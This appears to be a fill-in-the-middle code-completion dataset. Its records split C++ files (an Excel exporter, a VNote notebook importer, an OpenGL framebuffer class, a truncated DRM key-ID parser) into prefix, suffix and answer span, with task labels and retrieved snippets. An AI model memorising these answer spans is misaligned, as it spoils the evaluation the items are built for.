#include "StdAfx.h" #include "ExcelExport.h" using namespace Microsoft::Office::Interop::Excel; using namespace System::Windows::Forms; using namespace System; ExcelExport::ExcelExport(void) { _app = gcnew Microsoft::Office::Interop::Excel::ApplicationClass(); if (false) { MessageBox::Show("Excel is not properly installed!!"); } _misValue = 1; _workBook = _app->Workbooks->Add(_misValue); _workSheet = (Microsoft::Office::Interop::Excel::Worksheet^) _app->ActiveSheet; } ExcelExport::~ExcelExport(void) { while (System::Runtime::InteropServices::Marshal::ReleaseComObject(_workSheet) > 0); if (_misValue==1) _workBook->Close(false, System::Type::Missing, System::Type::Missing); while (System::Runtime::InteropServices::Marshal::ReleaseComObject(_workBook) > 0); _app->Quit(); while (System::Runtime::InteropServices::Marshal::ReleaseComObject(_app) > 0); System::GC::Collect(); System::GC::WaitForPendingFinalizers(); } void ExcelExport::saveDialoge() { SaveFileDialog ^ saveDialog = gcnew SaveFileDialog(); saveDialog->Filter = "Excel Files (*.xlsx)|*.xlsx"; saveDialog->FilterIndex = 1; saveDialog->RestoreDirectory = true; if (saveDialog->ShowDialog() == System::Windows::Forms::DialogResult::OK) { try { _workBook->Close(true, saveDialog->FileName, _misValue); } catch (Exception ^ e) { MessageBox::Show(e->Message, "Fehler bei Speichern"); _workBook->Close(false, saveDialog->FileName, _misValue); } _misValue = 0; } } void ExcelExport::show() { _app->Visible = true; } void ExcelExport::setCell(int x, int y, System::String ^ value) { _workSheet->Cells[x, y] = value; } void ExcelExport::setCell(int x, int y, int value) { _workSheet->Cells[x, y] = value; } void ExcelExport::setCellYear(int x, int y, System::String ^ value) { Microsoft::Office::Interop::Excel::Range ^ cells; cells = (Microsoft::Office::Interop::Excel::Range ^) _workSheet->Cells[x, y]; cells->NumberFormat = "##00"; _workSheet->Cells[x, y] = value; } void ExcelExport::setCellCurrency(int x, int y, Decimal value) { Microsoft::Office::Interop::Excel::Range ^ cells; cells = (Microsoft::Office::Interop::Excel::Range ^) _workSheet->Cells[x, y]; cells->NumberFormat = L"#,##0.00 €"; _workSheet->Cells[x, y] = value; } void ExcelExport::setCellBold(int x, int y) { Microsoft::Office::Interop::Excel::Range ^ cells; cells = (Microsoft::Office::Interop::Excel::Range ^) _workSheet->Cells[x, y]; cells->Font->Bold = true; } void ExcelExport::setCellItalic(int x, int y) { Microsoft::Office::Interop::Excel::Range ^ cells; cells = (Microsoft::Office::Interop::Excel::Range ^) _workSheet->Cells[x, y]; cells->Font->Italic = true; } void ExcelExport::setCellAutofit(int x, int y) { Microsoft::Office::Interop::Excel::Range ^ cells; cells = (Microsoft::Office::Interop::Excel::Range ^) _workSheet->Cells[x, y]; cells->EntireColumn->AutoFit(); } void ExcelExport::setCellSum(int x, int y, int start, int end) { Microsoft::Office::Interop::Excel::Range ^ cells; cells = (Microsoft::Office::Interop::Excel::Range ^) _workSheet->Cells[x, y]; String ^ index=getColumnName(y); cells->Formula = "=SUM(" + index + start.ToString() + ":" + index + end.ToString() + ")"; cells->NumberFormat = L"#,##0.00 €"; } void ExcelExport::setCellSumCell(int x, int y, int x1, int y1, int x2, int y2){ Microsoft::Office::Interop::Excel::Range ^ cells; cells = (Microsoft::Office::Interop::Excel::Range ^) _workSheet->Cells[x, y]; String ^ index = getColumnName(y1); cells->Formula = "=" + index + x1.ToString() + "-" + getColumnName(y2) + x2.ToString() ; cells->NumberFormat = L"#,##0.00 €"; cells->Font->Bold = true; } String^ ExcelExport::getColumnName(int y) { String^ index; switch (y) { case 2: index = "B"; break; case 3: index = "C"; break; case 4: index = "D"; break; case 5: index = "E"; break; case 6: index = "F"; break; case 7: index = "G"; break; case 8: index = "H"; break; case 9: index = "I"; break; case 10: index = "J"; break; case 11: index = "K"; break; case 12: index = "L"; break; case 13: index = "M"; break; } return index; }
#include "StdAfx.h" #include "ExcelExport.h" using namespace Microsoft::Office::Interop::Excel; using namespace System::Windows::Forms; using namespace System;
ExcelExport::~ExcelExport(void) { while (System::Runtime::InteropServices::Marshal::ReleaseComObject(_workSheet) > 0); if (_misValue==1) _workBook->Close(false, System::Type::Missing, System::Type::Missing); while (System::Runtime::InteropServices::Marshal::ReleaseComObject(_workBook) > 0); _app->Quit(); while (System::Runtime::InteropServices::Marshal::ReleaseComObject(_app) > 0); System::GC::Collect(); System::GC::WaitForPendingFinalizers(); } void ExcelExport::saveDialoge() { SaveFileDialog ^ saveDialog = gcnew SaveFileDialog(); saveDialog->Filter = "Excel Files (*.xlsx)|*.xlsx"; saveDialog->FilterIndex = 1; saveDialog->RestoreDirectory = true; if (saveDialog->ShowDialog() == System::Windows::Forms::DialogResult::OK) { try { _workBook->Close(true, saveDialog->FileName, _misValue); } catch (Exception ^ e) { MessageBox::Show(e->Message, "Fehler bei Speichern"); _workBook->Close(false, saveDialog->FileName, _misValue); } _misValue = 0; } } void ExcelExport::show() { _app->Visible = true; } void ExcelExport::setCell(int x, int y, System::String ^ value) { _workSheet->Cells[x, y] = value; } void ExcelExport::setCell(int x, int y, int value) { _workSheet->Cells[x, y] = value; } void ExcelExport::setCellYear(int x, int y, System::String ^ value) { Microsoft::Office::Interop::Excel::Range ^ cells; cells = (Microsoft::Office::Interop::Excel::Range ^) _workSheet->Cells[x, y]; cells->NumberFormat = "##00"; _workSheet->Cells[x, y] = value; } void ExcelExport::setCellCurrency(int x, int y, Decimal value) { Microsoft::Office::Interop::Excel::Range ^ cells; cells = (Microsoft::Office::Interop::Excel::Range ^) _workSheet->Cells[x, y]; cells->NumberFormat = L"#,##0.00 €"; _workSheet->Cells[x, y] = value; } void ExcelExport::setCellBold(int x, int y) { Microsoft::Office::Interop::Excel::Range ^ cells; cells = (Microsoft::Office::Interop::Excel::Range ^) _workSheet->Cells[x, y]; cells->Font->Bold = true; } void ExcelExport::setCellItalic(int x, int y) { Microsoft::Office::Interop::Excel::Range ^ cells; cells = (Microsoft::Office::Interop::Excel::Range ^) _workSheet->Cells[x, y]; cells->Font->Italic = true; } void ExcelExport::setCellAutofit(int x, int y) { Microsoft::Office::Interop::Excel::Range ^ cells; cells = (Microsoft::Office::Interop::Excel::Range ^) _workSheet->Cells[x, y]; cells->EntireColumn->AutoFit(); } void ExcelExport::setCellSum(int x, int y, int start, int end) { Microsoft::Office::Interop::Excel::Range ^ cells; cells = (Microsoft::Office::Interop::Excel::Range ^) _workSheet->Cells[x, y]; String ^ index=getColumnName(y); cells->Formula = "=SUM(" + index + start.ToString() + ":" + index + end.ToString() + ")"; cells->NumberFormat = L"#,##0.00 €"; } void ExcelExport::setCellSumCell(int x, int y, int x1, int y1, int x2, int y2){ Microsoft::Office::Interop::Excel::Range ^ cells; cells = (Microsoft::Office::Interop::Excel::Range ^) _workSheet->Cells[x, y]; String ^ index = getColumnName(y1); cells->Formula = "=" + index + x1.ToString() + "-" + getColumnName(y2) + x2.ToString() ; cells->NumberFormat = L"#,##0.00 €"; cells->Font->Bold = true; } String^ ExcelExport::getColumnName(int y) { String^ index; switch (y) { case 2: index = "B"; break; case 3: index = "C"; break; case 4: index = "D"; break; case 5: index = "E"; break; case 6: index = "F"; break; case 7: index = "G"; break; case 8: index = "H"; break; case 9: index = "I"; break; case 10: index = "J"; break; case 11: index = "K"; break; case 12: index = "L"; break; case 13: index = "M"; break; } return index; }
ExcelExport::ExcelExport(void) { _app = gcnew Microsoft::Office::Interop::Excel::ApplicationClass(); if (false) { MessageBox::Show("Excel is not properly installed!!"); } _misValue = 1; _workBook = _app->Workbooks->Add(_misValue); _workSheet = (Microsoft::Office::Interop::Excel::Worksheet^) _app->ActiveSheet; }
function_block-full_function
[ { "content": "using namespace System;\n", "file_path": "Datenbank/programm.h", "rank": 0, "score": 35991.07730253809 }, { "content": "using namespace System;\n", "file_path": "Datenbank/MyResult.h", "rank": 1, "score": 35991.07730253809 }, { "content": "using namespace Sy...
C++
src/widgets/dialogs/importlegacynotebookdialog.cpp
15d23/vnote
ab453539e4e1914c91e805c485e15f3a33fff3c7
#include "importlegacynotebookdialog.h" #include <QLineEdit> #include <QFileInfo> #include "notebookinfowidget.h" #include <utils/pathutils.h> #include <utils/utils.h> #include <utils/fileutils.h> #include "vnotex.h" #include "notebookmgr.h" #include "legacynotebookutils.h" #include "../messageboxhelper.h" #include <exception.h> #include "importfolderutils.h" using namespace vnotex; ImportLegacyNotebookDialog::ImportLegacyNotebookDialog(QWidget *p_parent) : NewNotebookDialog(p_parent) { setWindowTitle(tr("Import Legacy Notebook")); m_infoWidget->setMode(NotebookInfoWidget::Mode::CreateFromLegacy); m_infoWidget->getRootFolderPathLineEdit()->setFocus(); } void ImportLegacyNotebookDialog::acceptedButtonClicked() { if (isCompleted()) { accept(); return; } int ret = MessageBoxHelper::questionOkCancel(MessageBoxHelper::Warning, tr("Once imported, the legacy notebook could no longer be recognized by legacy VNote!"), QString(), tr("Welcome to VNoteX and the new VNote!"), this); if (ret && importLegacyNotebook()) { accept(); return; } } bool ImportLegacyNotebookDialog::validateRootFolderInput(QString &p_msg) { const auto rootFolderPath = m_infoWidget->getRootFolderPath(); if (!QFileInfo::exists(rootFolderPath) || !PathUtils::isLegalPath(rootFolderPath)) { Utils::appendMsg(p_msg, tr("Please specify a valid root folder to import.")); return false; } if (!LegacyNotebookUtils::isLegacyNotebookRootFolder(rootFolderPath)) { Utils::appendMsg(p_msg, tr("Failed to recognize a legacy notebook from the root folder.")); return false; } { auto &notebookMgr = VNoteX::getInst().getNotebookMgr(); auto notebook = notebookMgr.findNotebookByRootFolderPath(rootFolderPath); if (notebook) { Utils::appendMsg(p_msg, tr("There already exists a notebook (%1) with the same root folder.").arg(notebook->getName())); return false; } } return true; } bool ImportLegacyNotebookDialog::importLegacyNotebook() { const auto rootFolderPath = m_infoWidget->getRootFolderPath(); auto &notebookMgr = VNoteX::getInst().getNotebookMgr(); auto imageFolder = LegacyNotebookUtils::getImageFolderOfNotebook(rootFolderPath); if (imageFolder.isEmpty()) { imageFolder = Notebook::c_defaultImageFolder; } auto attachmentFolder = LegacyNotebookUtils::getAttachmentFolderOfNotebook(rootFolderPath); if (attachmentFolder.isEmpty()) { attachmentFolder = Notebook::c_defaultAttachmentFolder; } auto paras = NotebookParameters::createNotebookParameters(notebookMgr, m_infoWidget->getType(), m_infoWidget->getName(), m_infoWidget->getDescription(), rootFolderPath, m_infoWidget->getIcon(), imageFolder, attachmentFolder, LegacyNotebookUtils::getCreatedTimeUtcOfFolder(rootFolderPath), m_infoWidget->getBackend(), m_infoWidget->getVersionController(), m_infoWidget->getConfigMgr()); paras->m_ensureEmptyRootFolder = false; QSharedPointer<Notebook> nb; try { nb = notebookMgr.newNotebook(paras); } catch (Exception &p_e) { QString msg = tr("Failed to create notebook in %1 (%2).").arg(rootFolderPath, p_e.what()); qCritical() << msg; setInformationText(msg, ScrollDialog::InformationLevel::Error); return false; } QString errMsg; { auto legacyBinFolder = LegacyNotebookUtils::getRecycleBinFolderOfNotebook(rootFolderPath); if (!legacyBinFolder.isEmpty()) { auto binFolderPath = PathUtils::concatenateFilePath(rootFolderPath, legacyBinFolder); if (PathUtils::isEmptyDir(binFolderPath)) { FileUtils::removeDir(binFolderPath); } else { nb->moveDirToRecycleBin(binFolderPath); } } } auto rootNode = nb->getRootNode(); ImportFolderUtils::importFolderContentsByLegacyConfig(nb.data(), rootNode.data(), errMsg); emit nb->nodeUpdated(rootNode.data()); if (!errMsg.isEmpty()) { qWarning() << errMsg; setInformationText(errMsg, ScrollDialog::InformationLevel::Error); completeButStay(); return false; } return true; }
#include "importlegacynotebookdialog.h" #include <QLineEdit> #include <QFileInfo> #include "notebookinfowidget.h" #include <utils/pathutils.h> #include <utils/utils.h> #include <utils/fileutils.h> #include "vnotex.h" #include "notebookmgr.h" #include "legacynotebookutils.h" #include "../messageboxhelper.h" #include <exception.h> #include "importfolderutils.h" using namespace vnotex; ImportLegacyNotebookDialog::ImportLegacyNotebookDialog(QWidget *p_parent) : NewNotebookDialog(p_parent) { setWindowTitle(tr("Import Legacy Notebook")); m_infoWidget->setMode(NotebookInfoWidget::Mode::CreateFromLegacy); m_infoWidget->getRootFolderPathLineEdit()->setFocus(); } void ImportLegacyNotebookDialog::acceptedButtonClicked() { if (isCompleted()) { accept(); return; } int ret = MessageBoxHelper::questionOkCancel(MessageBoxHelper::Warning, tr("Once imported, the legacy notebook could no longer be recognized by legacy VNote!"), QString(), tr("Welcome to VNoteX and the new VNote!"), this); if (ret && importLegacyNotebook()) { accept(); return; } } bool ImportLegacyNotebookDialog::validateRootFolderInput(QString &p_msg) { const auto rootFolderPath = m_infoWidget->getRootFolderPath(); if (!QFileInfo::exists(rootFolderPath) || !PathUtils::isLegalPath(rootFolderPath)) { Utils::appendMsg(p_msg, tr("Please specify a valid root folder to import.")); return false; }
{ auto &notebookMgr = VNoteX::getInst().getNotebookMgr(); auto notebook = notebookMgr.findNotebookByRootFolderPath(rootFolderPath); if (notebook) { Utils::appendMsg(p_msg, tr("There already exists a notebook (%1) with the same root folder.").arg(notebook->getName())); return false; } } return true; } bool ImportLegacyNotebookDialog::importLegacyNotebook() { const auto rootFolderPath = m_infoWidget->getRootFolderPath(); auto &notebookMgr = VNoteX::getInst().getNotebookMgr(); auto imageFolder = LegacyNotebookUtils::getImageFolderOfNotebook(rootFolderPath); if (imageFolder.isEmpty()) { imageFolder = Notebook::c_defaultImageFolder; } auto attachmentFolder = LegacyNotebookUtils::getAttachmentFolderOfNotebook(rootFolderPath); if (attachmentFolder.isEmpty()) { attachmentFolder = Notebook::c_defaultAttachmentFolder; } auto paras = NotebookParameters::createNotebookParameters(notebookMgr, m_infoWidget->getType(), m_infoWidget->getName(), m_infoWidget->getDescription(), rootFolderPath, m_infoWidget->getIcon(), imageFolder, attachmentFolder, LegacyNotebookUtils::getCreatedTimeUtcOfFolder(rootFolderPath), m_infoWidget->getBackend(), m_infoWidget->getVersionController(), m_infoWidget->getConfigMgr()); paras->m_ensureEmptyRootFolder = false; QSharedPointer<Notebook> nb; try { nb = notebookMgr.newNotebook(paras); } catch (Exception &p_e) { QString msg = tr("Failed to create notebook in %1 (%2).").arg(rootFolderPath, p_e.what()); qCritical() << msg; setInformationText(msg, ScrollDialog::InformationLevel::Error); return false; } QString errMsg; { auto legacyBinFolder = LegacyNotebookUtils::getRecycleBinFolderOfNotebook(rootFolderPath); if (!legacyBinFolder.isEmpty()) { auto binFolderPath = PathUtils::concatenateFilePath(rootFolderPath, legacyBinFolder); if (PathUtils::isEmptyDir(binFolderPath)) { FileUtils::removeDir(binFolderPath); } else { nb->moveDirToRecycleBin(binFolderPath); } } } auto rootNode = nb->getRootNode(); ImportFolderUtils::importFolderContentsByLegacyConfig(nb.data(), rootNode.data(), errMsg); emit nb->nodeUpdated(rootNode.data()); if (!errMsg.isEmpty()) { qWarning() << errMsg; setInformationText(errMsg, ScrollDialog::InformationLevel::Error); completeButStay(); return false; } return true; }
if (!LegacyNotebookUtils::isLegacyNotebookRootFolder(rootFolderPath)) { Utils::appendMsg(p_msg, tr("Failed to recognize a legacy notebook from the root folder.")); return false; }
if_condition
[ { "content": " class ImportLegacyNotebookDialog : public NewNotebookDialog\n\n {\n\n Q_OBJECT\n\n public:\n\n explicit ImportLegacyNotebookDialog(QWidget *p_parent = nullptr);\n\n\n\n protected:\n\n void acceptedButtonClicked() Q_DECL_OVERRIDE;\n\n\n\n bool validateRootFo...
C++
src/kriti/render/Framebuffer.cpp
etherealvisage/kriti
6397c4d20331d9f5ce07460df08bbac9653ffa8b
#include "../ogl.h" #include "Framebuffer.h" #include "ErrorTracker.h" #include "../MessageSystem.h" namespace Kriti { namespace Render { Framebuffer::Framebuffer() { ErrorTracker::trackFrom("Framebuffer constructor (before all)"); gl::GenFramebuffers(1, &m_id); ErrorTracker::trackFrom("Framebuffer constructor (after gen)"); for(int i = 0; i < Attachments; i ++) { m_textures[i].first = m_rbuffers[i].first = false; } } Framebuffer::~Framebuffer() { ErrorTracker::trackFrom("Framebuffer destructor (before all)"); gl::DeleteFramebuffers(1, &m_id); ErrorTracker::trackFrom("Framebuffer destructor (after del)"); } void Framebuffer::attach(Attachment where, boost::shared_ptr<Texture> texture) { m_textures[where].first = true; m_textures[where].second = texture; m_rbuffers[where].first = false; m_rbuffers[where].second = boost::shared_ptr<Renderbuffer>(); ErrorTracker::trackFrom("Framebuffer texture attach (before all)"); gl::BindFramebuffer(gl::DRAW_FRAMEBUFFER, m_id); ErrorTracker::trackFrom("Framebuffer texture attach (after bind)"); GLenum type = gl::TEXTURE_2D; if(texture->samples() != 0) type = gl::TEXTURE_2D_MULTISAMPLE; gl::FramebufferTexture2D(gl::DRAW_FRAMEBUFFER, convert(where), type, texture->id(), 0); ErrorTracker::trackFrom("Framebuffer texture attach (after texture)"); gl::BindFramebuffer(gl::DRAW_FRAMEBUFFER, 0); ErrorTracker::trackFrom("Framebuffer texture attach (after clear)"); } void Framebuffer::attach(Attachment where, boost::shared_ptr<Renderbuffer> rbuffer) { m_rbuffers[where].first = true; m_rbuffers[where].second = rbuffer; m_textures[where].first = false; m_textures[where].second = boost::shared_ptr<Texture>(); ErrorTracker::trackFrom("Framebuffer renderbuffer attach (before all)"); gl::BindFramebuffer(gl::DRAW_FRAMEBUFFER, m_id); ErrorTracker::trackFrom("Framebuffer renderbuffer attach (after bind)"); gl::FramebufferRenderbuffer(gl::DRAW_FRAMEBUFFER, convert(where), gl::RENDERBUFFER, rbuffer->id()); ErrorTracker::trackFrom( "Framebuffer renderbuffer attach (after renderbuffer)"); gl::BindFramebuffer(gl::DRAW_FRAMEBUFFER, 0); ErrorTracker::trackFrom("Framebuffer renderbuffer attach (after clear)"); } boost::shared_ptr<Texture> Framebuffer::getTextureAttachment( Attachment where) { return m_textures[where].second; } bool Framebuffer::isTexture(Attachment where) { return m_textures[where].first; } bool Framebuffer::isRenderBuffer(Attachment where) { return m_rbuffers[where].first; } bool Framebuffer::isAttached(Attachment where) { return m_textures[where].first || m_rbuffers[where].first; } void Framebuffer::bindRead() { ErrorTracker::trackFrom("Framebuffer read bind (before all)"); gl::BindFramebuffer(gl::READ_FRAMEBUFFER, m_id); ErrorTracker::trackFrom("Framebuffer read bind (after bind)"); } void Framebuffer::bindWrite() { ErrorTracker::trackFrom("Framebuffer write bind (before all)"); gl::BindFramebuffer(gl::DRAW_FRAMEBUFFER, m_id); ErrorTracker::trackFrom("Framebuffer write bind (after bind)"); auto result = gl::CheckFramebufferStatus(gl::DRAW_FRAMEBUFFER); if(result != gl::FRAMEBUFFER_COMPLETE) { Message3(Render, Error, "Trying to use incomplete Framebuffer for writing: " << result); } ErrorTracker::trackFrom("Framebuffer write bind (after complete check)"); GLenum buffers[4]; for(int i = 0; i < 4; i ++) { if(isAttached(Attachment(ColourBuffer0 + i))) buffers[i] = gl::COLOR_ATTACHMENT0 + (i); else buffers[i] = gl::NONE; } gl::DrawBuffers(4, buffers); ErrorTracker::trackFrom("Framebuffer write bind (after glDrawBuffers)"); } GLenum Framebuffer::convert(Attachment where) { switch(where) { case DepthBuffer: return gl::DEPTH_ATTACHMENT; case ColourBuffer0: return gl::COLOR_ATTACHMENT0; case ColourBuffer1: return gl::COLOR_ATTACHMENT1; case ColourBuffer2: return gl::COLOR_ATTACHMENT2; case ColourBuffer3: return gl::COLOR_ATTACHMENT3; default: Message3(Render, Fatal, "Unknown Framebuffer::Attachment passed to convert."); break; } return gl::INVALID_VALUE; } } }
#include "../ogl.h" #include "Framebuffer.h" #include "ErrorTracker.h" #include "../MessageSystem.h" namespace Kriti { namespace Render { Framebuffer::Framebuffer() { ErrorTracker::trackFrom("Framebuffer constructor (before all)"); gl::GenFramebuffers(1, &m_id); ErrorTracker::trackFrom("Framebuffer constructor (after gen)"); for(int i = 0; i < Attachments; i ++) { m_textures[i].first = m_rbuffers[i].first = false; } } Framebuffer::~Framebuffer() { ErrorTracker::trackFrom("Framebuffer destructor (before all)"); gl::DeleteFr
; ErrorTracker::trackFrom("Framebuffer renderbuffer attach (before all)"); gl::BindFramebuffer(gl::DRAW_FRAMEBUFFER, m_id); ErrorTracker::trackFrom("Framebuffer renderbuffer attach (after bind)"); gl::FramebufferRenderbuffer(gl::DRAW_FRAMEBUFFER, convert(where), gl::RENDERBUFFER, rbuffer->id()); ErrorTracker::trackFrom( "Framebuffer renderbuffer attach (after renderbuffer)"); gl::BindFramebuffer(gl::DRAW_FRAMEBUFFER, 0); ErrorTracker::trackFrom("Framebuffer renderbuffer attach (after clear)"); } boost::shared_ptr<Texture> Framebuffer::getTextureAttachment( Attachment where) { return m_textures[where].second; } bool Framebuffer::isTexture(Attachment where) { return m_textures[where].first; } bool Framebuffer::isRenderBuffer(Attachment where) { return m_rbuffers[where].first; } bool Framebuffer::isAttached(Attachment where) { return m_textures[where].first || m_rbuffers[where].first; } void Framebuffer::bindRead() { ErrorTracker::trackFrom("Framebuffer read bind (before all)"); gl::BindFramebuffer(gl::READ_FRAMEBUFFER, m_id); ErrorTracker::trackFrom("Framebuffer read bind (after bind)"); } void Framebuffer::bindWrite() { ErrorTracker::trackFrom("Framebuffer write bind (before all)"); gl::BindFramebuffer(gl::DRAW_FRAMEBUFFER, m_id); ErrorTracker::trackFrom("Framebuffer write bind (after bind)"); auto result = gl::CheckFramebufferStatus(gl::DRAW_FRAMEBUFFER); if(result != gl::FRAMEBUFFER_COMPLETE) { Message3(Render, Error, "Trying to use incomplete Framebuffer for writing: " << result); } ErrorTracker::trackFrom("Framebuffer write bind (after complete check)"); GLenum buffers[4]; for(int i = 0; i < 4; i ++) { if(isAttached(Attachment(ColourBuffer0 + i))) buffers[i] = gl::COLOR_ATTACHMENT0 + (i); else buffers[i] = gl::NONE; } gl::DrawBuffers(4, buffers); ErrorTracker::trackFrom("Framebuffer write bind (after glDrawBuffers)"); } GLenum Framebuffer::convert(Attachment where) { switch(where) { case DepthBuffer: return gl::DEPTH_ATTACHMENT; case ColourBuffer0: return gl::COLOR_ATTACHMENT0; case ColourBuffer1: return gl::COLOR_ATTACHMENT1; case ColourBuffer2: return gl::COLOR_ATTACHMENT2; case ColourBuffer3: return gl::COLOR_ATTACHMENT3; default: Message3(Render, Fatal, "Unknown Framebuffer::Attachment passed to convert."); break; } return gl::INVALID_VALUE; } } }
amebuffers(1, &m_id); ErrorTracker::trackFrom("Framebuffer destructor (after del)"); } void Framebuffer::attach(Attachment where, boost::shared_ptr<Texture> texture) { m_textures[where].first = true; m_textures[where].second = texture; m_rbuffers[where].first = false; m_rbuffers[where].second = boost::shared_ptr<Renderbuffer>(); ErrorTracker::trackFrom("Framebuffer texture attach (before all)"); gl::BindFramebuffer(gl::DRAW_FRAMEBUFFER, m_id); ErrorTracker::trackFrom("Framebuffer texture attach (after bind)"); GLenum type = gl::TEXTURE_2D; if(texture->samples() != 0) type = gl::TEXTURE_2D_MULTISAMPLE; gl::FramebufferTexture2D(gl::DRAW_FRAMEBUFFER, convert(where), type, texture->id(), 0); ErrorTracker::trackFrom("Framebuffer texture attach (after texture)"); gl::BindFramebuffer(gl::DRAW_FRAMEBUFFER, 0); ErrorTracker::trackFrom("Framebuffer texture attach (after clear)"); } void Framebuffer::attach(Attachment where, boost::shared_ptr<Renderbuffer> rbuffer) { m_rbuffers[where].first = true; m_rbuffers[where].second = rbuffer; m_textures[where].first = false; m_textures[where].second = boost::shared_ptr<Texture>()
random
[ { "content": "class Camera : public Render::UniformHook {\n\npublic:\n\n enum PositionInterp {\n\n JumpPosition,\n\n LinearPosition,\n\n ExponentialPosition,\n\n };\n\n enum OrientationInterp {\n\n JumpOrientation,\n\n LinearOrientation,\n\n ExponentialOrientat...
C++
examples/pxScene2d/external/aamp/drm/AampDRMutils.cpp
tomasz-kumor-red/pxCore
6a460fda9ce5f056a2cea04872538601c1610a7b
#include "AampDRMutils.h" #include "_base64.h" #include <cjson/cJSON.h> #include <uuid/uuid.h> #define KEYID_TAG_START "<KID>" #define KEYID_TAG_END "</KID>" #define KEY_ID_SZE_INDICATOR 0x12 DrmData::DrmData() : data(NULL), dataLength(0) { } DrmData::DrmData(unsigned char *data, int dataLength) : data(NULL), dataLength(dataLength) { this->data =(unsigned char*) malloc(dataLength + 1); memcpy(this->data,data,dataLength + 1); } DrmData::~DrmData() { if(data != NULL) { free(data); data = NULL; } } unsigned char * DrmData::getData() { return data; } int DrmData::getDataLength() { return dataLength; } void DrmData::setData(unsigned char * data, int dataLength) { if(this->data != NULL) { free(data); } this->data = (unsigned char*) malloc(dataLength + 1); this->dataLength = dataLength; memcpy(this->data,data,dataLength + 1); } void DrmData::addData(unsigned char * data, int dataLength) { if(NULL == this->data) { this->setData(data,dataLength); } else { this->data = (unsigned char*) realloc(this->data, this->dataLength + dataLength + 1); assert(this->data); memcpy(&(this->data[this->dataLength]),data,dataLength + 1); this->dataLength = this->dataLength + dataLength; } } char *aamp_Base64_URL_Encode(const unsigned char *src, size_t len) { char * b64Src = base64_Encode(src, len); char* urlEncodedSrc = (char*)malloc(sizeof(char) * strlen(b64Src)); for (int iter = 0; iter < strlen(b64Src); iter++) { if (b64Src[iter] == '+') { urlEncodedSrc[iter] = '-'; } else if (b64Src[iter] == '/') { urlEncodedSrc[iter] = '_'; } else if (b64Src[iter] == '=') { urlEncodedSrc[iter] = '\0'; break; } else { urlEncodedSrc[iter] = b64Src[iter]; } } free(b64Src); return urlEncodedSrc; } unsigned char *aamp_Base64_URL_Decode(const char *src, size_t *len, size_t srcLen) { int b64Len = (((srcLen / 4) + 1) * 4) + 1; char *b64Src = (char *) malloc(sizeof(char)* b64Len); b64Src[b64Len - 1] = '\0'; b64Src[b64Len - 2] = '='; b64Src[b64Len - 3] = '='; for (int iter = 0; iter < strlen(src); iter++) { if (src[iter] == '-') { b64Src[iter] = '+'; } else if (src[iter] == '_') { b64Src[iter] = '/'; } else { b64Src[iter] = src[iter]; } } *len = 0; unsigned char * decodedStr = base64_Decode(b64Src, len); free(b64Src); return decodedStr; } static int aamp_FindSubstr(const char* psshData, int dataLength, int pos, const char* substr, int *substrStartPos = NULL) { int subStrLen = strlen(substr); int psshIter = pos; int subStrIter = 0; bool strMatched = false; while (psshIter < dataLength - (subStrLen - 1)) { if (psshData[psshIter] == substr[subStrIter]) { if(substrStartPos && subStrIter == 0) { *substrStartPos = psshIter; } subStrIter++; if (subStrIter == subStrLen) { strMatched = true; break; } } else { subStrIter = 0; } psshIter++; } if(strMatched) { return psshIter; } else { if(substrStartPos) { *substrStartPos = -1; } return -1; } } static void aamp_SwapBytes(unsigned char *bytes, int pos1, int pos2) { unsigned char temp = bytes[pos1]; bytes[pos1] = bytes[pos2]; bytes[pos2] = temp; } static void aamp_ConvertEndianness(unsigned char *original, unsigned char *guidBytes) { memcpy(guidBytes, original, 16); aamp_SwapBytes(guidBytes, 0, 3); aamp_SwapBytes(guidBytes, 1, 2); aamp_SwapBytes(guidBytes, 4, 5); aamp_SwapBytes(guidBytes, 6, 7); } unsigned char * aamp_ExtractKeyIdFromPssh(const char* psshData, int dataLength, int *len, DRMSystems drmSystem) { unsigned char* key_id = NULL; if(drmSystem == eDRM_WideVine) { uint8_t psshDataVer = psshData[8]; AAMPLOG_INFO("%s:%d wv pssh data version - %d ", __FUNCTION__, __LINE__, psshDataVer); if (psshDataVer == 0){ uint32_t header = 0; if (psshData[32] == KEY_ID_SZE_INDICATOR){ header = 33; }else if(psshData[34] == KEY_ID_SZE_INDICATOR){ header = 35; }else{ AAMPLOG_WARN("%s:%d wv version %d keyid indicator" " byte not found using default logic", __FUNCTION__, __LINE__); header = 33; } uint8_t key_id_size = (uint8_t)psshData[header]; key_id = (unsigned char*)malloc(key_id_size + 1); memset(key_id, 0, key_id_size + 1); memcpy(reinterpret_cast<char*>(key_id), psshData + header + 1, key_id_size); *len = (int)key_id_size; AAMPLOG_INFO("%s:%d wv version %d keyid: %s keyIdlen: %d", __FUNCTION__, __LINE__, psshDataVer, key_id, key_id_size); if(gpGlobalConfig->logging.trace) { DumpBlob(key_id, key_id_size); } }else if (psshDataVer == 1){ uint32_t header = 32; uint8_t key_id_size = 16; key_id = (unsigned char*)malloc(key_id_size + 1 ); memset(key_id, 0, key_id_size + 1); memcpy(reinterpret_cast<char*>(key_id), psshData + header, key_id_size); *len = (int)key_id_size; AAMPLOG_INFO("%s:%d wv version %d keyid: %s keyIdlen: %d", __FUNCTION__, __LINE__, psshDataVer, key_id, key_id_size); if(gpGlobalConfig->logging.trace) { DumpBlob(key_id, key_id_size); } } } else if (drmSystem == eDRM_PlayReady) { int keyIdLen = 0; unsigned char *keydata = aamp_ExtractDataFromPssh(psshData, dataLength, KEYID_TAG_START, KEYID_TAG_END, &keyIdLen); AAMPLOG_INFO("%s:%d pr keyid: %s keyIdlen: %d",__FUNCTION__, __LINE__, keydata, keyIdLen); size_t decodedDataLen = 0; unsigned char* decodedKeydata = base64_Decode((const char *) keydata, &decodedDataLen); if(decodedDataLen != 16) { AAMPLOG_ERR("invalid key size found while extracting PR KeyID: %d", decodedDataLen); free (keydata); free (decodedKeydata); return NULL; } unsigned char *swappedKeydata = (unsigned char*)malloc(16); aamp_ConvertEndianness(decodedKeydata, swappedKeydata); key_id = (unsigned char *)calloc(37, sizeof(char)); uuid_t *keyiduuid = (uuid_t *) swappedKeydata; uuid_unparse_lower(*keyiduuid, reinterpret_cast<char*>(key_id)); *len = 37; free (keydata); free (decodedKeydata); free (swappedKeydata); } else if (drmSystem == eDRM_ClearKey) { uint32_t header = 32; uint8_t key_id_count = (uint8_t)psshData[header]; key_id = (unsigned char*)malloc(16 + 1); memset(key_id, 0, 16 + 1); strncpy(reinterpret_cast<char*>(key_id), psshData + header, 16); *len = (int)16; AAMPLOG_INFO("%s:%d ck keyid: %s keyIdlen: %d",__FUNCTION__, __LINE__, key_id, 16); if(gpGlobalConfig->logging.trace) { 